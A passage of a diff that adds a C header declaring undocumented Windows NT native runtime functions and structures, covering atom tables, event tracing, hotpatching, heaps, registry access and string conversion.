*Handle + ); + +#define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xc000 +#define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000 +#define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37 +#define RTL_ATOM_MAXIMUM_NAME_LENGTH 255 +#define RTL_ATOM_PINNED 0x01 + +NTSTATUS +NTAPI +RtlCreateAtomTable( + IN ULONG NumberOfBuckets, + OUT PVOID *AtomTableHandle + ); + +NTSTATUS +NTAPI +RtlDestroyAtomTable( + IN PVOID AtomTableHandle + ); + +NTSTATUS +NTAPI +RtlEmptyAtomTable( + IN PVOID AtomTableHandle, + IN BOOLEAN IncludePinnedAtoms + ); + +NTSTATUS +NTAPI +RtlAddAtomToAtomTable( + IN PVOID AtomTableHandle, + IN PWSTR AtomName, + IN OUT OPTIONAL PRTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlLookupAtomInAtomTable( + IN PVOID AtomTableHandle, + IN PWSTR AtomName, + OUT OPTIONAL PRTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlDeleteAtomFromAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlPinAtomInAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom + ); + +NTSTATUS +NTAPI +RtlQueryAtomInAtomTable( + IN PVOID AtomTableHandle, + IN RTL_ATOM Atom, + OUT OPTIONAL PULONG AtomUsage, + OUT OPTIONAL PULONG AtomFlags, + IN OUT PWSTR AtomName, + IN OUT OPTIONAL PULONG AtomNameLength + ); + +NTSTATUS +NTAPI +RtlQueryAtomsInAtomTable( + IN PVOID AtomTableHandle, + IN ULONG MaximumNumberOfAtoms, + OUT PULONG NumberOfAtoms, + OUT PRTL_ATOM Atoms + ); + +BOOLEAN +NTAPI +RtlGetIntegerAtom( + IN PWSTR AtomName, + OUT OPTIONAL PUSHORT IntegerAtom + ); + +#ifdef __cplusplus +extern "C" { +#endif + +#define EVENT_MIN_LEVEL (0) +#define EVENT_MAX_LEVEL (0xff) + +#define EVENT_ACTIVITY_CTRL_GET_ID (1) +#define EVENT_ACTIVITY_CTRL_SET_ID (2) +#define EVENT_ACTIVITY_CTRL_CREATE_ID (3) +#define EVENT_ACTIVITY_CTRL_GET_SET_ID (4) +#define EVENT_ACTIVITY_CTRL_CREATE_SET_ID (5) + + typedef ULONGLONG REGHANDLE, *PREGHANDLE; + +#define MAX_EVENT_DATA_DESCRIPTORS (128) +#define MAX_EVENT_FILTER_DATA_SIZE (1024) + + // + // EVENT_DATA_DESCRIPTOR is used to pass in user data items + // in events. + // + + typedef struct _EVENT_DATA_DESCRIPTOR + { + ULONG_PTR Ptr; // Pointer to data + ULONG Size; // Size of data in bytes + ULONG Reserved; + } EVENT_DATA_DESCRIPTOR, *PEVENT_DATA_DESCRIPTOR; + + typedef struct _EVENT_DESCRIPTOR + { + USHORT Id; + UCHAR Version; + UCHAR Channel; + UCHAR Level; + UCHAR Opcode; + USHORT Task; + ULONGLONG Keyword; + } EVENT_DESCRIPTOR, *PEVENT_DESCRIPTOR; + typedef const EVENT_DESCRIPTOR *PCEVENT_DESCRIPTOR; + + // + // EVENT_FILTER_DESCRIPTOR is used to pass in enable filter + // data item to a user callback function. + // + typedef struct _EVENT_FILTER_DESCRIPTOR + { + ULONG_PTR Ptr; + ULONG Size; + ULONG Type; + } EVENT_FILTER_DESCRIPTOR, *PEVENT_FILTER_DESCRIPTOR; + +#ifdef __cplusplus +} +#endif + + +// +// old nt4 channel stuff +// +//#pragma pack(1) +#pragma pack() +typedef struct _CHANNEL_MESSAGE +{ + PVOID Text; + ULONG Length; + PVOID Context; + PVOID Base; + union + { + BOOLEAN Close; + LONGLONG Align; + }; +} CHANNEL_MESSAGE, *PCHANNEL_MESSAGE; + +typedef struct _HOTPATCH_HEADER +{ + ULONG Signature; + ULONG Version; + ULONG FixupRgnCount; + ULONG FixupRgnRva; + ULONG ValidationCount; + ULONG ValidationArrayRva; + ULONG HookCount; + ULONG HookArrayRva; + ULONG_PTR OrigHotpBaseAddress; + ULONG_PTR OrigTargetBaseAddress; + ULONG TargetNameRva; + ULONG ModuleIdMethod; + union { + ULONG Filler; + } TargetModuleIdValue; +} HOTPATCH_HEADER, *PHOTPATCH_HEADER; + +typedef struct _HOTPATCH_MODULE_DATA +{ + USHORT HotpatchImageNameLength; + USHORT ColdpatchImagePathLength; + WCHAR NameBuffer[ 1 ]; +} HOTPATCH_MODULE_DATA, *PHOTPATCH_MODULE_DATA; + +typedef struct _HOTPATCH_MODULE_ENTRY +{ + struct _TRIPLE_LIST_ENTRY ListEntry; + struct _HOTPATCH_MODULE_DATA Data; +} HOTPATCH_MODULE_ENTRY, *PHOTPATCH_MODULE_ENTRY; + +typedef struct _HOTPATCH_HOOK +{ + USHORT HookType; + USHORT HookOptions; + ULONG HookRva; + ULONG HotpRva; + ULONG ValidationRva; +} HOTPATCH_HOOK, *PHOTPATCH_HOOK; + +typedef struct _RTL_PATCH_HEADER +{ + LIST_ENTRY PatchList; + PVOID PatchImageBase; + struct _RTL_PATCH_HEADER* NextPatch; + ULONG PatchFlags; + LONG PatchRefCount; + struct _HOTPATCH_HEADER* HotpatchHeader; + UNICODE_STRING TargetDllName; + HANDLE TargetDllBase; + PLDR_DATA_TABLE_ENTRY TargetLdrDataTableEntry; + PLDR_DATA_TABLE_ENTRY PatchLdrDataTableEntry; + PSYSTEM_HOTPATCH_CODE_INFORMATION CodeInfo; + PVOID ColdpatchFileHandle; + HOTPATCH_MODULE_ENTRY HotpatchModuleEntry; +} RTL_PATCH_HEADER, *PRTL_PATCH_HEADER; + + + +#pragma warning(default: 4273) // nconsistent dll linkage (winnt.h) + +#ifndef _SLIST_HEADER_ +#define _SLIST_HEADER_ + +#if defined(_M_X64) + +// +// The type SINGLE_LIST_ENTRY is not suitable for use with SLISTs. For +// WIN64, an entry on an SLIST is required to be 16-byte aligned, while a +// SINGLE_LIST_ENTRY structure has only 8 byte alignment. +// +// Therefore, all SLIST code should use the SLIST_ENTRY type instead of the +// SINGLE_LIST_ENTRY type. +// + +#pragma warning(push) +#pragma warning(disable:4324) // structure padded due to align() +typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY *PSLIST_ENTRY; +typedef struct DECLSPEC_ALIGN(16) _SLIST_ENTRY { + PSLIST_ENTRY Next; +} SLIST_ENTRY; +#pragma warning(pop) + +#else + +#define SLIST_ENTRY SINGLE_LIST_ENTRY +#define _SLIST_ENTRY _SINGLE_LIST_ENTRY +#define PSLIST_ENTRY PSINGLE_LIST_ENTRY + +#endif + +#if defined(_M_X64) + +typedef struct DECLSPEC_ALIGN(16) _SLIST_HEADER { + ULONGLONG Alignment; + ULONGLONG Region; +} SLIST_HEADER; + +typedef struct _SLIST_HEADER *PSLIST_HEADER; + +#else + +typedef union _SLIST_HEADER { + ULONGLONG Alignment; + struct { + SLIST_ENTRY Next; + WORD Depth; + WORD Sequence; + }; +} SLIST_HEADER, *PSLIST_HEADER; + +#endif + +#endif + +// +// prototypes *must* be encapsulated with extern "C" macros at start and end of prototype block +// + +#ifdef __cplusplus +extern "C" { +#endif + +PSLIST_ENTRY +__fastcall +RtlInterlockedPushListSList ( + IN PSLIST_HEADER ListHead, + IN PSLIST_ENTRY List, + IN PSLIST_ENTRY ListEnd, + IN ULONG Count + ); + +VOID +NTAPI +RtlAssert( + IN PVOID VoidFailedAssertion, + IN PVOID VoidFileName, + IN ULONG LineNumber, + IN OPTIONAL PSTR MutableMessage + ); + +VOID +NTAPI +RtlInitializeGenericTableAvl ( + PRTL_AVL_TABLE Table, + PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + PRTL_AVL_FREE_ROUTINE FreeRoutine, + PVOID TableContext + ); + +PVOID +NTAPI +RtlInsertElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL + ); + +PVOID +NTAPI +RtlInsertElementGenericTableFullAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL, + PVOID NodeOrParent, + TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN +NTAPI +RtlDeleteElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableFullAvl ( + PRTL_AVL_TABLE Table, + PVOID Buffer, + OUT PVOID *NodeOrParent, + OUT TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID +NTAPI +RtlEnumerateGenericTableAvl ( + PRTL_AVL_TABLE Table, + BOOLEAN Restart + ); + +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplayingAvl ( + PRTL_AVL_TABLE Table, + PVOID *RestartKey + ); + +PVOID +NTAPI +RtlEnumerateGenericTableLikeADirectory ( + IN PRTL_AVL_TABLE Table, + IN PRTL_AVL_MATCH_FUNCTION MatchFunction, + IN PVOID MatchData, + IN ULONG NextFlag, + IN OUT PVOID *RestartKey, + IN OUT PULONG DeleteCount, + IN OUT PVOID Buffer + ); + +PVOID +NTAPI +RtlGetElementGenericTableAvl ( + PRTL_AVL_TABLE Table, + ULONG I + ); + +ULONG +NTAPI +RtlNumberGenericTableElementsAvl ( + PRTL_AVL_TABLE Table + ); + +BOOLEAN +NTAPI +RtlIsGenericTableEmptyAvl ( + PRTL_AVL_TABLE Table + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSplay ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlDelete ( + PRTL_SPLAY_LINKS Links + ); + +VOID +NTAPI +RtlDeleteNoSplay ( + PRTL_SPLAY_LINKS Links, + PRTL_SPLAY_LINKS *Root + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreeSuccessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreePredecessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlRealSuccessor ( + PRTL_SPLAY_LINKS Links + ); + +PRTL_SPLAY_LINKS +NTAPI +RtlRealPredecessor ( + PRTL_SPLAY_LINKS Links + ); + +VOID +NTAPI +RtlInitializeGenericTable ( + PRTL_GENERIC_TABLE Table, + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + PVOID TableContext + ); + +PVOID +NTAPI +RtlInsertElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL + ); + +PVOID +NTAPI +RtlInsertElementGenericTableFull ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + ULONG BufferSize, + PBOOLEAN NewElement OPTIONAL, + PVOID NodeOrParent, + TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN +NTAPI +RtlDeleteElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTable ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer + ); + +PVOID +NTAPI +RtlLookupElementGenericTableFull ( + PRTL_GENERIC_TABLE Table, + PVOID Buffer, + OUT PVOID *NodeOrParent, + OUT TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID +NTAPI +RtlEnumerateGenericTable ( + PRTL_GENERIC_TABLE Table, + BOOLEAN Restart + ); + +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying ( + PRTL_GENERIC_TABLE Table, + PVOID *RestartKey + ); + +PVOID +NTAPI +RtlGetElementGenericTable( + PRTL_GENERIC_TABLE Table, + ULONG I + ); + +ULONG +NTAPI +RtlNumberGenericTableElements( + PRTL_GENERIC_TABLE Table + ); + +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + PRTL_GENERIC_TABLE Table + ); + +NTSTATUS +NTAPI +RtlInitializeHeapManager( + ); + +PVOID +NTAPI +RtlCreateHeap( + IN ULONG Flags, + IN PVOID HeapBase OPTIONAL, + IN SIZE_T ReserveSize OPTIONAL, + IN SIZE_T CommitSize OPTIONAL, + IN PVOID Lock OPTIONAL, + IN PRTL_HEAP_PARAMETERS Parameters OPTIONAL + ); + +PVOID +NTAPI +RtlDestroyHeap( + IN PVOID HeapHandle + ); + +PVOID +NTAPI +RtlAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size + ); + +BOOLEAN +NTAPI +RtlFreeHeap( + IN PVOID HeapHandle, + IN OPTIONAL ULONG Flags, + IN PVOID BaseAddress + ); + +SIZE_T +NTAPI +RtlSizeHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress + ); + +NTSTATUS +NTAPI +RtlZeroHeap( + IN PVOID HeapHandle, + IN ULONG Flags + ); + +VOID +NTAPI +RtlProtectHeap( + IN PVOID HeapHandle, + IN BOOLEAN MakeReadOnly + ); + +ULONG +NTAPI +RtlGetNtGlobalFlags( + VOID + ); + +VOID +NTAPI +RtlGetCallersAddress( + OUT PVOID *CallersAddress, + OUT PVOID *CallersCaller + ); + +ULONG +NTAPI +RtlWalkFrameChain ( + OUT PVOID *Callers, + IN ULONG Count, + IN ULONG Flags + ); + +USHORT +NTAPI +RtlLogStackBackTrace( + VOID + ); + + +ULONG +NTAPI +RtlCaptureStackContext ( + OUT PULONG_PTR Callers, + OUT PRTL_STACK_CONTEXT Context, + IN ULONG Limit + ); + +BOOLEAN +NTAPI +RtlGetNtProductType( + PNT_PRODUCT_TYPE NtProductType + ); + +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath ( + OUT PUNICODE_STRING CurrentUserKeyPath + ); + +NTSTATUS +NTAPI +RtlOpenCurrentUser( + IN ULONG DesiredAccess, + OUT PHANDLE CurrentUserKey + ); + +NTSTATUS +NTAPI +RtlQueryRegistryValues( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PRTL_QUERY_REGISTRY_TABLE QueryTable, + IN PVOID Context, + IN PVOID Environment OPTIONAL + ); + +NTSTATUS +NTAPI +RtlWriteRegistryValue( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PCWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength + ); + +NTSTATUS +NTAPI +RtlDeleteRegistryValue( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PCWSTR ValueName + ); + +NTSTATUS +NTAPI +RtlCreateRegistryKey( + IN ULONG RelativeTo, + IN PWSTR Path + ); + +NTSTATUS +NTAPI +RtlCheckRegistryKey( + IN ULONG RelativeTo, + IN PWSTR Path + ); + +//added 21/03/2011 +//begin +BOOLEAN +NTAPI +RtlLockHeap( + IN PVOID HeapHandle + ); + + +BOOLEAN +NTAPI +RtlUnlockHeap( + IN PVOID HeapHandle + ); + + +PVOID +NTAPI +RtlReAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T Size + ); + + +BOOLEAN +NTAPI +RtlGetUserInfoHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + OUT OPTIONAL PVOID *UserValue, + OUT OPTIONAL PULONG UserFlags + ); + + +BOOLEAN +NTAPI +RtlSetUserValueHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN PVOID UserValue + ); + + +BOOLEAN +NTAPI +RtlSetUserFlagsHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN ULONG UserFlagsReset, + IN ULONG UserFlagsSet + ); + + +ULONG +NTAPI +RtlCreateTagHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN OPTIONAL PWSTR TagPrefix, + IN PWSTR TagNames + ); + + +PWSTR +NTAPI +RtlQueryTagHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN USHORT TagIndex, + IN BOOLEAN ResetCounters, + OUT OPTIONAL PRTL_HEAP_TAG_INFO TagInfo + ); + + +NTSTATUS +NTAPI +RtlExtendHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID Base, + IN SIZE_T Size + ); + + +SIZE_T +NTAPI +RtlCompactHeap( + IN PVOID HeapHandle, + IN ULONG Flags + ); + + +BOOLEAN +NTAPI +RtlValidateProcessHeaps( + ); + +ULONG +NTAPI +RtlGetProcessHeaps( + IN ULONG NumberOfHeaps, + OUT PVOID *ProcessHeaps + ); + + +NTSTATUS +NTAPI +RtlUsageHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN OUT PRTL_HEAP_USAGE Usage + ); + + +NTSTATUS +NTAPI +RtlWalkHeap( + IN PVOID HeapHandle, + IN OUT PRTL_HEAP_WALK_ENTRY Entry + ); + +#if !defined(_WINDOWS_) +NTSTATUS +NTAPI +RtlQueryHeapInformation( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + OUT OPTIONAL PVOID HeapInformation, + IN OPTIONAL SIZE_T HeapInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + +NTSTATUS +NTAPI +RtlSetHeapInformation( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + IN OPTIONAL PVOID HeapInformation, + IN OPTIONAL SIZE_T HeapInformationLength + ); +#endif + +ULONG +NTAPI +RtlMultipleAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size, + IN ULONG Count, + OUT PVOID *Array + ); + +ULONG +NTAPI +RtlMultipleFreeHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN ULONG Count, + IN PVOID *Array + ); + +VOID +NTAPI +RtlDetectHeapLeaks( + VOID + ); + + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSTATUS +NTAPI +RtlCreateMemoryZone( + OUT PVOID *MemoryZone, + IN SIZE_T InitialSize, + ULONG Flags + ); + +NTSTATUS +NTAPI +RtlDestroyMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlAllocateMemoryZone( + IN PVOID MemoryZone, + IN SIZE_T BlockSize, + OUT PVOID *Block + ); + +NTSTATUS +NTAPI +RtlResetMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlLockMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlUnlockMemoryZone( + IN PVOID MemoryZone + ); +#endif + + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSTATUS +NTAPI +RtlCreateMemoryBlockLookaside( + OUT PVOID *MemoryBlockLookaside, + IN ULONG Flags, + IN ULONG InitialSize, + IN ULONG MinimumBlockSize, + IN ULONG MaximumBlockSize + ); + +NTSTATUS +NTAPI +RtlDestroyMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlAllocateMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN ULONG BlockSize, + OUT PVOID *Block + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN PVOID Block + ); + +NTSTATUS +NTAPI +RtlExtendMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN ULONG Increment + ); + +NTSTATUS +NTAPI +RtlResetMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlLockMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlUnlockMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); +#endif + +HANDLE +NTAPI +RtlGetCurrentTransaction( + ); + +LOGICAL +NTAPI +RtlSetCurrentTransaction( + IN HANDLE TransactionHandle + ); + +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + IN OPTIONAL ULONG MaximumCommit, + IN BOOLEAN UseEventPair + ); + +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + IN PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + IN HANDLE UniqueProcessId, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + + +//added 21/03/2011 +//end + +ULONG +NTAPI +RtlUniform ( + PULONG Seed + ); + +NTSTATUS +RtlComputeImportTableHash( + IN HANDLE hFile, + OUT PCHAR Hash, + IN ULONG ImportTableHashRevision + ); + +NTSTATUS +NTAPI +RtlIntegerToChar ( + ULONG Value, + ULONG Base, + LONG OutputLength, + PSZ String + ); + +NTSTATUS +NTAPI +RtlIntegerToUnicode ( + IN ULONG Value, + IN ULONG Base OPTIONAL, + IN LONG OutputLength, + OUT PWSTR String + ); + +NTSTATUS +NTAPI +RtlLargeIntegerToChar ( + PLARGE_INTEGER Value, + ULONG Base OPTIONAL, + LONG OutputLength, + PSZ String + ); + +NTSTATUS +NTAPI +RtlLargeIntegerToUnicode ( + IN PLARGE_INTEGER Value, + IN ULONG Base OPTIONAL, + IN LONG OutputLength, + OUT PWSTR String + ); + +PSTR +NTAPI +RtlIpv4AddressToStringA ( + IN const struct in_addr *Addr, + OUT PSTR S + ); + +PSTR +NTAPI +RtlIpv6AddressToStringA ( + IN const struct in6_addr *Addr, + OUT PSTR S + ); + +NTSTATUS +NTAPI +RtlIpv4AddressToStringExA( + IN const struct in_addr *Address, + IN USHORT Port, + OUT PSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv6AddressToStringExA( + IN const struct in6_addr *Address, + IN ULONG ScopeId, + IN USHORT Port, + OUT PSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +PWSTR +NTAPI +RtlIpv4AddressToStringW ( + IN const struct in_addr *Addr, + OUT PWSTR S + ); + +PWSTR +NTAPI +RtlIpv6AddressToStringW ( + IN const struct in6_addr *Addr, + OUT PWSTR S + ); + +NTSTATUS +NTAPI +RtlIpv4AddressToStringExW( + IN const struct in_addr *Address, + IN USHORT Port, + OUT PWSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv6AddressToStringExW( + IN const struct in6_addr *Address, + IN ULONG ScopeId, + IN USHORT Port, + OUT PWSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressA ( + IN PCSTR S, + IN BOOLEAN Strict, + OUT PCSTR *Terminator, + OUT struct in_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressA ( + IN PCSTR S, + OUT PCSTR *Terminator, + OUT struct in6_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressExA ( + IN PCSTR AddressString, + IN BOOLEAN Strict, + OUT struct in_addr *Address, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressExA ( + IN PCSTR AddressString, + OUT struct in6_addr *Address, + OUT PULONG ScopeId, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressW ( + IN PCWSTR S, + IN BOOLEAN Strict, + OUT LPCWSTR *Terminator, + OUT struct in_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressW ( + IN PCWSTR S, + OUT PCWSTR *Terminator, + OUT struct in6_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressExW ( + IN PCWSTR AddressString, + IN BOOLEAN Strict, + OUT struct in_addr *Address, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressExW ( + IN PCWSTR AddressString, + OUT struct in6_addr *Address, + OUT PULONG ScopeId, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIntegerToUnicodeString ( + ULONG Value, + ULONG Base, + PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlInt64ToUnicodeString ( + IN ULONGLONG Value, + IN ULONG Base OPTIONAL, + IN OUT PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToInteger ( + PCUNICODE_STRING String, + ULONG Base, + PULONG Value + ); + +VOID +NTAPI +RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +VOID +NTAPI +RtlInitAnsiString( + PANSI_STRING DestinationString, + PCSZ SourceString + ); + +NTSTATUS +NTAPI +RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +NTSTATUS +NTAPI +RtlInitUnicodeStringEx( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +NTSTATUS +NTAPI +RtlInitAnsiStringEx( + OUT PANSI_STRING DestinationString, + IN PCSZ SourceString OPTIONAL + ); + +BOOLEAN +NTAPI +RtlCreateUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PCWSTR SourceString + ); + +BOOLEAN +NTAPI +RtlEqualDomainName( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2 + ); + +BOOLEAN +NTAPI +RtlEqualComputerName( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2 + ); + +NTSTATUS +RtlDnsHostNameToComputerName( + OUT PUNICODE_STRING ComputerNameString, + IN PCUNICODE_STRING DnsHostNameString, + IN BOOLEAN AllocateComputerNameString + ); + +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + OUT PUNICODE_STRING DestinationString, + IN PCSZ SourceString + ); + +VOID +NTAPI +RtlCopyString( + PSTRING DestinationString, + const STRING * SourceString + ); + +CHAR +NTAPI +RtlUpperChar ( + CHAR Character + ); + +LONG +NTAPI +RtlCompareString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlEqualString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlPrefixString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +VOID +NTAPI +RtlUpperString( + PSTRING DestinationString, + const STRING * SourceString + ); + +NTSTATUS +NTAPI +RtlAppendAsciizToString ( + PSTRING Destination, + PCSZ Source + ); + +NTSTATUS +NTAPI +RtlAppendStringToString ( + PSTRING Destination, + const STRING * Source + ); + +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +WCHAR +NTAPI +RtlAnsiCharToUnicodeChar( + PUCHAR *SourceCharacter + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlOemStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCOEM_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlOemStringToCountedUnicodeString( + PUNICODE_STRING DestinationString, + PCOEM_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToCountedOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToCountedOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +LONG +NTAPI +RtlCompareUnicodeString( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlEqualUnicodeString( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); + +NTSTATUS +NTAPI +RtlHashUnicodeString( + IN const UNICODE_STRING *String, + IN BOOLEAN CaseInSensitive, + IN ULONG HashAlgorithm, + OUT PULONG HashValue + ); + +NTSTATUS +NTAPI +RtlValidateUnicodeString( + IN ULONG Flags, + IN const UNICODE_STRING *String + ); + +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + IN ULONG Flags, + IN const UNICODE_STRING *StringIn, + OUT UNICODE_STRING *StringOut + ); + +BOOLEAN +NTAPI +RtlPrefixUnicodeString( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeString( + PUNICODE_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlFindCharInUnicodeString( + IN ULONG Flags, + IN PCUNICODE_STRING StringToSearch, + IN PCUNICODE_STRING CharSet, + OUT USHORT *NonInclusivePrefixLength + ); + +VOID +NTAPI +RtlCopyUnicodeString( + PUNICODE_STRING DestinationString, + PCUNICODE_STRING SourceString + ); + +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString ( + PUNICODE_STRING Destination, + PCUNICODE_STRING Source + ); + +NTSTATUS +NTAPI +RtlAppendUnicodeToString 